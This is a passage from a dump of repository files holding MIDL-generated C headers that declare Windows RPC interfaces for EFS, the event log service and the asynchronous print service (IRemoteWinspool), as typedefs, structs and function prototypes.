*arg_2,\n    /* [string][unique][in] */ wchar_t *arg_3,\n    /* [string][in] */ wchar_t *arg_4);\n\nlong Proc39_EdpRpcServiceFileEncryptionQueue( \n    /* [in] */ handle_t IDL_handle,\n    /* [in] */ unsigned char arg_1);\n\nlong Proc40_EdpRpcCredSvcControl( \n    /* [in] */ handle_t IDL_handle,\n    /* [in] */ long arg_1,\n    /* [string][full][in] */ wchar_t *arg_2,\n    /* [string][full][in] */ wchar_t *arg_3,\n    /* [size_is][full][in] */ unsigned char *arg_4,\n    /* [in] */ long arg_5,\n    /* [size_is][full][in] */ unsigned char *arg_6,\n    /* [in] */ long arg_7,\n    /* [size_is][size_is][ref][out] */ unsigned char **arg_8,\n    /* [out] */ long *arg_9);\n\nlong Proc41_EdpRpcRmsClearKeys( \n    /* [in] */ handle_t IDL_handle);\n\nlong Proc42_EdpRpcRmsContainerizeFile( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][in] */ wchar_t *arg_1,\n    /* [string][in] */ wchar_t *arg_2,\n    /* [string][unique][in] */ wchar_t *arg_3,\n    /* [string][in] */ wchar_t *arg_4,\n    /* [string][ref][out] */ wchar_t **arg_5);\n\nlong Proc43_EdpRpcRmsGetContainerIdentity( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][in] */ wchar_t *arg_1,\n    /* [string][ref][out] */ wchar_t **arg_2);\n\nlong Proc44_EdpRpcRmsDecontainerizeFile( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][in] */ wchar_t *arg_1,\n    /* [string][in] */ wchar_t *arg_2,\n    /* [string][ref][out] */ wchar_t **arg_3);\n\nlong Proc45_EdpRpcAllowFileAccessForProcess( \n    /* [in] */ handle_t IDL_handle,\n    /* [string][in] */ wchar_t *arg_1,\n    /* [in] */ long arg_2,\n    /* [string][unique][in] */ wchar_t *arg_3);\n\nlong Proc46_EdpRpcGetTfaCache( \n    /* [in] */ handle_t IDL_handle,\n    /* [ref][out] */ struct Struct_972_t **arg_1);\n\n\n\nextern RPC_IF_HANDLE efsrpc_through_pipe_efsrpc_v1_0_c_ifspec;\nextern RPC_IF_HANDLE efsrpc_through_pipe_efsrpc_v1_0_s_ifspec;\n#endif /* __efsrpc_through_pipe_efsrpc_INTERFACE_DEFINED__ */\n\n/* Additional Prototypes for ALL interfaces */\n\nvoid __RPC_USER PEXIMPORT_CONTEXT_HANDLE_rundown( PEXIMPORT_CONTEXT_HANDLE );\n\n/* end of Additional Prototypes */\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n\n\n"
  },
  {
    "path": "lib/ms-even_h.h",
    "content": "\n\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for ms-even.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n\n\n/* verify that the <rpcndr.h> version is high enough to compile this file*/\n#ifndef __REQUIRED_RPCNDR_H_VERSION__\n#define __REQUIRED_RPCNDR_H_VERSION__ 500\n#endif\n\n#include \"rpc.h\"\n#include \"rpcndr.h\"\n\n#ifndef __RPCNDR_H_VERSION__\n#error this stub requires an updated version of <rpcndr.h>\n#endif /* __RPCNDR_H_VERSION__ */\n\n\n#ifndef __ms2Deven_h_h__\n#define __ms2Deven_h_h__\n\n#if defined(_MSC_VER) && (_MSC_VER >= 1020)\n#pragma once\n#endif\n\n#ifndef DECLSPEC_XFGVIRT\n#if defined(_CONTROL_FLOW_GUARD_XFG)\n#define DECLSPEC_XFGVIRT(base, func) __declspec(xfg_virtual(base, func))\n#else\n#define DECLSPEC_XFGVIRT(base, func)\n#endif\n#endif\n\n/* Forward Declarations */ \n\n#ifdef __cplusplus\nextern \"C\"{\n#endif \n\n\n#ifndef __eventlog_INTERFACE_DEFINED__\n#define __eventlog_INTERFACE_DEFINED__\n\n/* interface eventlog */\n/* [unique][ms_union][version][uuid] */ \n\ntypedef long NTSTATUS;\n\ntypedef void *ADCONNECTION_HANDLE;\n\ntypedef int BOOL;\n\ntypedef int *PBOOL;\n\ntypedef int *LPBOOL;\n\ntypedef unsigned char BYTE;\n\ntypedef unsigned char *PBYTE;\n\ntypedef unsigned char *LPBYTE;\n\ntypedef BYTE BOOLEAN;\n\ntypedef BYTE *PBOOLEAN;\n\ntypedef wchar_t WCHAR;\n\ntypedef wchar_t *PWCHAR;\n\ntypedef WCHAR *BSTR;\n\ntypedef double DOUBLE;\n\ntypedef unsigned long ULONG;\n\ntypedef unsigned long *PULONG;\n\ntypedef unsigned long DWORD;\n\ntypedef unsigned long *PDWORD;\n\ntypedef unsigned long *LPDWORD;\n\ntypedef unsigned int DWORD32;\n\ntypedef unsigned __int64 DWORD64;\n\ntypedef unsigned __int64 *PDWORD64;\n\ntypedef unsigned __int64 ULONGLONG;\n\ntypedef ULONGLONG DWORDLONG;\n\ntypedef ULONGLONG *PDWORDLONG;\n\ntypedef unsigned long error_status_t;\n\ntypedef float FLOAT;\n\ntypedef unsigned char UCHAR;\n\ntypedef unsigned char *PUCHAR;\n\ntypedef short SHORT;\n\ntypedef struct _RPC_UNICODE_STRING\n    {\n    unsigned short Length;\n    unsigned short MaximumLength;\n    /* [length_is][size_is] */ WCHAR *Buffer;\n    } \tRPC_UNICODE_STRING;\n\ntypedef struct _RPC_UNICODE_STRING *PRPC_UNICODE_STRING;\n\ntypedef struct _FILETIME *PFILETIME;\n\ntypedef struct _FILETIME *LPFILETIME;\n\ntypedef struct _RPC_SID *PRPC_SID;\n\ntypedef struct _RPC_STRING\n    {\n    unsigned short Length;\n    unsigned short MaximumLength;\n    /* [size_is] */ unsigned char *Buffer;\n    } \tRPC_STRING;\n\ntypedef struct _RPC_STRING *PRPC_STRING;\n\ntypedef struct _RPC_CLIENT_ID\n    {\n    unsigned long UniqueProcess;\n    unsigned long UniqueThread;\n    } \tRPC_CLIENT_ID;\n\ntypedef struct _RPC_CLIENT_ID *PRPC_CLIENT_ID;\n\ntypedef /* [unique][handle] */ wchar_t *EVENTLOG_HANDLE_W;\n\ntypedef /* [unique][handle] */ unsigned char *EVENTLOG_HANDLE_A;\n\ntypedef /* [context_handle] */ void *IELF_HANDLE;\n\ntypedef /* [context_handle] */ void **PIELF_HANDLE;\n\ntypedef /* [range] */ unsigned long RULONG;\n\nNTSTATUS ElfrClearELFW( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [unique][in] */ PRPC_UNICODE_STRING BackupFileName);\n\nNTSTATUS ElfrBackupELFW( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [in] */ PRPC_UNICODE_STRING BackupFileName);\n\nNTSTATUS ElfrCloseEL( \n    /* [out][in] */ IELF_HANDLE *LogHandle);\n\nNTSTATUS ElfrDeregisterEventSource( \n    /* [out][in] */ IELF_HANDLE *LogHandle);\n\nNTSTATUS ElfrNumberOfRecords( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [out] */ unsigned long *NumberOfRecords);\n\nNTSTATUS ElfrOldestRecord( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [out] */ unsigned long *OldestRecordNumber);\n\nNTSTATUS ElfrChangeNotify( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [in] */ RPC_CLIENT_ID ClientId,\n    /* [in] */ ULONG Event);\n\nNTSTATUS ElfrOpenELW( \n    /* [in] */ EVENTLOG_HANDLE_W UNCServerName,\n    /* [in] */ PRPC_UNICODE_STRING ModuleName,\n    /* [in] */ PRPC_UNICODE_STRING RegModuleName,\n    /* [in] */ unsigned long MajorVersion,\n    /* [in] */ unsigned long MinorVersion,\n    /* [out] */ IELF_HANDLE *LogHandle);\n\nNTSTATUS ElfrRegisterEventSourceW( \n    /* [in] */ EVENTLOG_HANDLE_W UNCServerName,\n    /* [in] */ PRPC_UNICODE_STRING ModuleName,\n    /* [in] */ PRPC_UNICODE_STRING RegModuleName,\n    /* [in] */ unsigned long MajorVersion,\n    /* [in] */ unsigned long MinorVersion,\n    /* [out] */ IELF_HANDLE *LogHandle);\n\nNTSTATUS ElfrOpenBELW( \n    /* [in] */ EVENTLOG_HANDLE_W UNCServerName,\n    /* [in] */ PRPC_UNICODE_STRING BackupFileName,\n    /* [in] */ unsigned long MajorVersion,\n    /* [in] */ unsigned long MinorVersion,\n    /* [out] */ IELF_HANDLE *LogHandle);\n\nNTSTATUS ElfrReadELW( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [in] */ unsigned long ReadFlags,\n    /* [in] */ unsigned long RecordOffset,\n    /* [in] */ RULONG NumberOfBytesToRead,\n    /* [size_is][out] */ unsigned char *Buffer,\n    /* [out] */ unsigned long *NumberOfBytesRead,\n    /* [out] */ unsigned long *MinNumberOfBytesNeeded);\n\nNTSTATUS ElfrReportEventW( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [in] */ unsigned long Time,\n    /* [in] */ unsigned short EventType,\n    /* [in] */ unsigned short EventCategory,\n    /* [in] */ unsigned long EventID,\n    /* [range][in] */ unsigned short NumStrings,\n    /* [range][in] */ unsigned long DataSize,\n    /* [in] */ PRPC_UNICODE_STRING ComputerName,\n    /* [unique][in] */ PRPC_SID UserSID,\n    /* [unique][size_is][in] */ PRPC_UNICODE_STRING Strings[  ],\n    /* [unique][size_is][in] */ unsigned char *Data,\n    /* [in] */ unsigned short Flags,\n    /* [unique][out][in] */ unsigned long *RecordNumber,\n    /* [unique][out][in] */ unsigned long *TimeWritten);\n\nNTSTATUS ElfrClearELFA( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [unique][in] */ PRPC_STRING BackupFileName);\n\nNTSTATUS ElfrBackupELFA( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [in] */ PRPC_STRING BackupFileName);\n\nNTSTATUS ElfrOpenELA( \n    /* [in] */ EVENTLOG_HANDLE_A UNCServerName,\n    /* [in] */ PRPC_STRING ModuleName,\n    /* [in] */ PRPC_STRING RegModuleName,\n    /* [in] */ unsigned long MajorVersion,\n    /* [in] */ unsigned long MinorVersion,\n    /* [out] */ IELF_HANDLE *LogHandle);\n\nNTSTATUS ElfrRegisterEventSourceA( \n    /* [in] */ EVENTLOG_HANDLE_A UNCServerName,\n    /* [in] */ PRPC_STRING ModuleName,\n    /* [in] */ PRPC_STRING RegModuleName,\n    /* [in] */ unsigned long MajorVersion,\n    /* [in] */ unsigned long MinorVersion,\n    /* [out] */ IELF_HANDLE *LogHandle);\n\nNTSTATUS ElfrOpenBELA( \n    /* [in] */ EVENTLOG_HANDLE_A UNCServerName,\n    /* [in] */ PRPC_STRING BackupFileName,\n    /* [in] */ unsigned long MajorVersion,\n    /* [in] */ unsigned long MinorVersion,\n    /* [out] */ IELF_HANDLE *LogHandle);\n\nNTSTATUS ElfrReadELA( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [in] */ unsigned long ReadFlags,\n    /* [in] */ unsigned long RecordOffset,\n    /* [in] */ RULONG NumberOfBytesToRead,\n    /* [size_is][out] */ unsigned char *Buffer,\n    /* [out] */ unsigned long *NumberOfBytesRead,\n    /* [out] */ unsigned long *MinNumberOfBytesNeeded);\n\nNTSTATUS ElfrReportEventA( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [in] */ unsigned long Time,\n    /* [in] */ unsigned short EventType,\n    /* [in] */ unsigned short EventCategory,\n    /* [in] */ unsigned long EventID,\n    /* [range][in] */ unsigned short NumStrings,\n    /* [range][in] */ unsigned long DataSize,\n    /* [in] */ PRPC_STRING ComputerName,\n    /* [unique][in] */ PRPC_SID UserSID,\n    /* [unique][size_is][in] */ PRPC_STRING Strings[  ],\n    /* [unique][size_is][in] */ unsigned char *Data,\n    /* [in] */ unsigned short Flags,\n    /* [unique][out][in] */ unsigned long *RecordNumber,\n    /* [unique][out][in] */ unsigned long *TimeWritten);\n\nvoid Opnum19NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum20NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nvoid Opnum21NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nNTSTATUS ElfrGetLogInformation( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [in] */ unsigned long InfoLevel,\n    /* [size_is][out] */ unsigned char *lpBuffer,\n    /* [range][in] */ unsigned long cbBufSize,\n    /* [out] */ unsigned long *pcbBytesNeeded);\n\nvoid Opnum23NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle);\n\nNTSTATUS ElfrReportEventAndSourceW( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [in] */ unsigned long Time,\n    /* [in] */ unsigned short EventType,\n    /* [in] */ unsigned short EventCategory,\n    /* [in] */ unsigned long EventID,\n    /* [in] */ PRPC_UNICODE_STRING SourceName,\n    /* [range][in] */ unsigned short NumStrings,\n    /* [range][in] */ unsigned long DataSize,\n    /* [in] */ PRPC_UNICODE_STRING ComputerName,\n    /* [unique][in] */ PRPC_SID UserSID,\n    /* [unique][size_is][in] */ PRPC_UNICODE_STRING Strings[  ],\n    /* [unique][size_is][in] */ unsigned char *Data,\n    /* [in] */ unsigned short Flags,\n    /* [unique][out][in] */ unsigned long *RecordNumber,\n    /* [unique][out][in] */ unsigned long *TimeWritten);\n\nNTSTATUS ElfrReportEventExW( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [in] */ PFILETIME TimeGenerated,\n    /* [in] */ unsigned short EventType,\n    /* [in] */ unsigned short EventCategory,\n    /* [in] */ unsigned long EventID,\n    /* [range][in] */ unsigned short NumStrings,\n    /* [range][in] */ unsigned long DataSize,\n    /* [in] */ PRPC_UNICODE_STRING ComputerName,\n    /* [unique][in] */ PRPC_SID UserSID,\n    /* [unique][size_is][in] */ PRPC_UNICODE_STRING Strings[  ],\n    /* [unique][size_is][in] */ unsigned char *Data,\n    /* [in] */ unsigned short Flags,\n    /* [unique][out][in] */ unsigned long *RecordNumber);\n\nNTSTATUS ElfrReportEventExA( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [in] */ PFILETIME TimeGenerated,\n    /* [in] */ unsigned short EventType,\n    /* [in] */ unsigned short EventCategory,\n    /* [in] */ unsigned long EventID,\n    /* [range][in] */ unsigned short NumStrings,\n    /* [range][in] */ unsigned long DataSize,\n    /* [in] */ PRPC_STRING ComputerName,\n    /* [unique][in] */ PRPC_SID UserSID,\n    /* [unique][size_is][in] */ PRPC_STRING Strings[  ],\n    /* [unique][size_is][in] */ unsigned char *Data,\n    /* [in] */ unsigned short Flags,\n    /* [unique][out][in] */ unsigned long *RecordNumber);\n\n\n\nextern RPC_IF_HANDLE eventlog_v0_0_c_ifspec;\nextern RPC_IF_HANDLE eventlog_v0_0_s_ifspec;\n#endif /* __eventlog_INTERFACE_DEFINED__ */\n\n/* Additional Prototypes for ALL interfaces */\n\nhandle_t __RPC_USER EVENTLOG_HANDLE_W_bind ( EVENTLOG_HANDLE_W );\nvoid     __RPC_USER EVENTLOG_HANDLE_W_unbind( EVENTLOG_HANDLE_W,  handle_t );\nhandle_t __RPC_USER EVENTLOG_HANDLE_A_bind ( EVENTLOG_HANDLE_A );\nvoid     __RPC_USER EVENTLOG_HANDLE_A_unbind( EVENTLOG_HANDLE_A,  handle_t );\n\nvoid __RPC_USER IELF_HANDLE_rundown( IELF_HANDLE );\n\n/* end of Additional Prototypes */\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n\n\n"
  },
  {
    "path": "lib/ms-par_h.h",
    "content": "\n\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for ms-par.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n\n\n/* verify that the <rpcndr.h> version is high enough to compile this file*/\n#ifndef __REQUIRED_RPCNDR_H_VERSION__\n#define __REQUIRED_RPCNDR_H_VERSION__ 500\n#endif\n\n#include \"rpc.h\"\n#include \"rpcndr.h\"\n#include \"ms-rprn_h.h\"\n\n#ifndef __RPCNDR_H_VERSION__\n#error this stub requires an updated version of <rpcndr.h>\n#endif /* __RPCNDR_H_VERSION__ */\n\n\n#ifndef __ms2Dpar_h_h__\n#define __ms2Dpar_h_h__\n\n#if defined(_MSC_VER) && (_MSC_VER >= 1020)\n#pragma once\n#endif\n\n#ifndef DECLSPEC_XFGVIRT\n#if defined(_CONTROL_FLOW_GUARD_XFG)\n#define DECLSPEC_XFGVIRT(base, func) __declspec(xfg_virtual(base, func))\n#else\n#define DECLSPEC_XFGVIRT(base, func)\n#endif\n#endif\n\n/* Forward Declarations */ \n\n#ifdef __cplusplus\nextern \"C\"{\n#endif \n\n\n#ifndef __IRemoteWinspool_INTERFACE_DEFINED__\n#define __IRemoteWinspool_INTERFACE_DEFINED__\n\n/* interface IRemoteWinspool */\n/* [version][uuid] */ \n\ntypedef unsigned char BYTE;\n\ntypedef unsigned char *PBYTE;\n\ntypedef unsigned char *LPBYTE;\n\ntypedef unsigned long DWORD;\n\ntypedef unsigned long *PDWORD;\n\ntypedef unsigned long *LPDWORD;\n\ntypedef wchar_t WCHAR;\n\ntypedef wchar_t *PWCHAR;\n\ntypedef unsigned __int64 ULONGLONG;\n\ntypedef ULONGLONG DWORDLONG;\n\ntypedef ULONGLONG *PDWORDLONG;\n\ntypedef /* [custom] */ __int3264 LONG_PTR;\n\ntypedef unsigned short WORD;\n\ntypedef unsigned short *PWORD;\n\ntypedef unsigned short *LPWORD;\n\ntypedef unsigned short USHORT;\n\ntypedef unsigned char UCHAR;\n\ntypedef unsigned char *PUCHAR;\n\ntypedef long LONG;\n\ntypedef long *PLONG;\n\ntypedef long *LPLONG;\n\ntypedef __int64 LONGLONG;\n\ntypedef LONG HRESULT;\n\ntypedef struct _GUID UUID;\n\ntypedef struct _GUID *PGUID;\n\ntypedef struct _RPC_SID *PRPC_SID;\n\ntypedef struct _ACL *PACL;\n\ntypedef struct _FILETIME *PFILETIME;\n\ntypedef struct _FILETIME *LPFILETIME;\n\ntypedef struct _SYSTEMTIME *PSYSTEMTIME;\n\ntypedef /* [public][public][public][public][public][public] */ \nenum __MIDL_IRemoteWinspool_0002\n    {\n        kRpcPropertyTypeString\t= 1,\n        kRpcPropertyTypeInt32\t= ( kRpcPropertyTypeString + 1 ) ,\n        kRpcPropertyTypeInt64\t= ( kRpcPropertyTypeInt32 + 1 ) ,\n        kRpcPropertyTypeByte\t= ( kRpcPropertyTypeInt64 + 1 ) ,\n        kRpcPropertyTypeBuffer\t= ( kRpcPropertyTypeByte + 1 ) \n    } \tRPC_EPrintPropertyType;\n\ntypedef unsigned short LANGID;\n\ntypedef /* [context_handle] */ void *GDI_HANDLE;\n\ntypedef /* [context_handle] */ void *PRINTER_HANDLE;\n\ntypedef /* [handle] */ wchar_t *STRING_HANDLE;\n\ntypedef struct _RPC_BINARY_CONTAINER\n    {\n    DWORD cbBuf;\n    /* [unique][size_is] */ BYTE *pszString;\n    } \tRPC_BINARY_CONTAINER;\n\ntypedef struct _RPC_BIDI_DATA\n    {\n    DWORD dwBidiType;\n    /* [switch_is] */ /* [switch_type] */ union \n        {\n        /* [case()] */ int bData;\n        /* [case()] */ long iData;\n        /* [case()][unique][string] */ wchar_t *sData;\n        /* [case()] */ float fData;\n        /* [case()] */ RPC_BINARY_CONTAINER biData;\n        } \tu;\n    } \tRPC_BIDI_DATA;\n\ntypedef struct _RPC_BIDI_REQUEST_DATA\n    {\n    DWORD dwReqNumber;\n    /* [unique][string] */ wchar_t *pSchema;\n    RPC_BIDI_DATA data;\n    } \tRPC_BIDI_REQUEST_DATA;\n\ntypedef struct _RPC_BIDI_RESPONSE_DATA\n    {\n    DWORD dwResult;\n    DWORD dwReqNumber;\n    /* [unique][string] */ wchar_t *pSchema;\n    RPC_BIDI_DATA data;\n    } \tRPC_BIDI_RESPONSE_DATA;\n\ntypedef struct _RPC_BIDI_REQUEST_CONTAINER\n    {\n    DWORD Version;\n    DWORD Flags;\n    DWORD Count;\n    /* [unique][size_is] */ RPC_BIDI_REQUEST_DATA aData[ 1 ];\n    } \tRPC_BIDI_REQUEST_CONTAINER;\n\ntypedef struct _RPC_BIDI_RESPONSE_CONTAINER\n    {\n    DWORD Version;\n    DWORD Flags;\n    DWORD Count;\n    /* [unique][size_is] */ RPC_BIDI_RESPONSE_DATA aData[ 1 ];\n    } \tRPC_BIDI_RESPONSE_CONTAINER;\n\n\ntypedef struct _RPC_V2_NOTIFY_INFO_DATA\n    {\n    unsigned short Type;\n    unsigned short Field;\n    DWORD Reserved;\n    DWORD Id;\n    /* [switch_is] */ long Data;\n    } \tRPC_V2_NOTIFY_INFO_DATA;\n\ntypedef struct _RPC_V2_NOTIFY_INFO\n    {\n    DWORD Version;\n    DWORD Flags;\n    DWORD Count;\n    /* [unique][size_is] */ RPC_V2_NOTIFY_INFO_DATA aData[ 1 ];\n    } \tRPC_V2_NOTIFY_INFO;\n\ntypedef /* [switch_type] */ union _RPC_V2_UREPLY_PRINTER\n    {\n    /* [case()] */ RPC_V2_NOTIFY_INFO *pInfo;\n    } \tRPC_V2_UREPLY_PRINTER;\n\ntypedef /* [context_handle] */ void *RMTNTFY_HANDLE;\n\ntypedef struct _NOTIFY_REPLY_CONTAINER\n    {\n    RPC_V2_NOTIFY_INFO *pInfo;\n    } \tNOTIFY_REPLY_CONTAINER;\n\ntypedef struct _NOTIFY_OPTIONS_CONTAINER\n    {\n    RPC_V2_NOTIFY_OPTIONS *pOptions;\n    } \tNOTIFY_OPTIONS_CONTAINER;\n\ntypedef /* [public][public][public][public][public] */ struct __MIDL_IRemoteWinspool_0024\n    {\n    EPrintPropertyType ePropertyType;\n    /* [switch_is][switch_type] */ union \n        {\n        /* [case()][string] */ wchar_t *propertyString;\n        /* [case()] */ long propertyInt32;\n        /* [case()] */ __int64 propertyInt64;\n        /* [case()] */ BYTE propertyByte;\n        /* [case()] */ SYSTEMTIME_CONTAINER propertyTimeContainer;\n        /* [case()] */ DEVMODE_CONTAINER propertyDevModeContainer;\n        /* [case()] */ SECURITY_CONTAINER propertySDContainer;\n        /* [case()] */ NOTIFY_REPLY_CONTAINER propertyReplyContainer;\n        /* [case()] */ NOTIFY_OPTIONS_CONTAINER propertyOptionsContainer;\n        } \tvalue;\n    } \tRpcPrintPropertyValue;\n\ntypedef /* [public][public][public][public] */ struct __MIDL_IRemoteWinspool_0026\n    {\n    /* [string] */ wchar_t *propertyName;\n    RpcPrintPropertyValue propertyValue;\n    } \tRpcPrintNamedProperty;\n\ntypedef /* [public][public][public][public][public] */ struct __MIDL_IRemoteWinspool_0027\n    {\n    /* [range] */ unsigned long numberOfProperties;\n    /* [unique][size_is] */ RpcPrintNamedProperty *propertiesCollection;\n    } \tRpcPrintPropertiesCollection;\n\ntypedef /* [public][public][public][public][public] */ struct __MIDL_IRemoteWinspool_0028\n    {\n    RPC_EPrintPropertyType ePropertyType;\n    /* [switch_is] */ /* [switch_type] */ union \n        {\n        /* [case()][string] */ wchar_t *propertyString;\n        /* [case()] */ LONG propertyInt32;\n        /* [case()] */ LONGLONG propertyInt64;\n        /* [case()] */ BYTE propertyByte;\n        /* [case()] */ struct \n            {\n            DWORD cbBuf;\n            /* [size_is] */ BYTE *pBuf;\n            } \tpropertyBlob;\n        } \tvalue;\n    } \tRPC_PrintPropertyValue;\n\ntypedef /* [public][public][public] */ struct __MIDL_IRemoteWinspool_0031\n    {\n    /* [string] */ wchar_t *propertyName;\n    RPC_PrintPropertyValue propertyValue;\n    } \tRPC_PrintNamedProperty;\n\nDWORD RpcAsyncOpenPrinter( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pPrinterName,\n    /* [out] */ PRINTER_HANDLE *pHandle,\n    /* [unique][string][in] */ wchar_t *pDatatype,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer,\n    /* [in] */ DWORD AccessRequired,\n    /* [in] */ SPLCLIENT_CONTAINER *pClientInfo);\n\nDWORD RpcAsyncAddPrinter( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [in] */ PRINTER_CONTAINER *pPrinterContainer,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer,\n    /* [in] */ SECURITY_CONTAINER *pSecurityContainer,\n    /* [in] */ SPLCLIENT_CONTAINER *pClientInfo,\n    /* [out] */ PRINTER_HANDLE *pHandle);\n\nDWORD RpcAsyncSetJob( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [unique][in] */ JOB_CONTAINER *pJobContainer,\n    /* [in] */ DWORD Command);\n\nDWORD RpcAsyncGetJob( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pJob,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded);\n\nDWORD RpcAsyncEnumJobs( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD FirstJob,\n    /* [in] */ DWORD NoJobs,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pJob,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned);\n\nDWORD RpcAsyncAddJob( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pAddJob,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded);\n\nDWORD RpcAsyncScheduleJob( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId);\n\nDWORD RpcAsyncDeletePrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter);\n\nDWORD RpcAsyncSetPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ PRINTER_CONTAINER *pPrinterContainer,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer,\n    /* [in] */ SECURITY_CONTAINER *pSecurityContainer,\n    /* [in] */ DWORD Command);\n\nDWORD RpcAsyncGetPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pPrinter,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded);\n\nDWORD RpcAsyncStartDocPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DOC_INFO_CONTAINER *pDocInfoContainer,\n    /* [out] */ DWORD *pJobId);\n\nDWORD RpcAsyncStartPagePrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter);\n\nDWORD RpcAsyncWritePrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [size_is][in] */ unsigned char *pBuf,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcWritten);\n\nDWORD RpcAsyncEndPagePrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter);\n\nDWORD RpcAsyncEndDocPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter);\n\nDWORD RpcAsyncAbortPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter);\n\nDWORD RpcAsyncGetPrinterData( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pValueName,\n    /* [out] */ DWORD *pType,\n    /* [size_is][out] */ unsigned char *pData,\n    /* [in] */ DWORD nSize,\n    /* [out] */ DWORD *pcbNeeded);\n\nDWORD RpcAsyncGetPrinterDataEx( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName,\n    /* [string][in] */ const wchar_t *pValueName,\n    /* [out] */ DWORD *pType,\n    /* [size_is][out] */ unsigned char *pData,\n    /* [in] */ DWORD nSize,\n    /* [out] */ DWORD *pcbNeeded);\n\nDWORD RpcAsyncSetPrinterData( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pValueName,\n    /* [in] */ DWORD Type,\n    /* [size_is][in] */ unsigned char *pData,\n    /* [in] */ DWORD cbData);\n\nDWORD RpcAsyncSetPrinterDataEx( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName,\n    /* [string][in] */ const wchar_t *pValueName,\n    /* [in] */ DWORD Type,\n    /* [size_is][in] */ unsigned char *pData,\n    /* [in] */ DWORD cbData);\n\nDWORD RpcAsyncClosePrinter( \n    /* [out][in] */ PRINTER_HANDLE *phPrinter);\n\nDWORD RpcAsyncAddForm( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ FORM_CONTAINER *pFormInfoContainer);\n\nDWORD RpcAsyncDeleteForm( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pFormName);\n\nDWORD RpcAsyncGetForm( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ 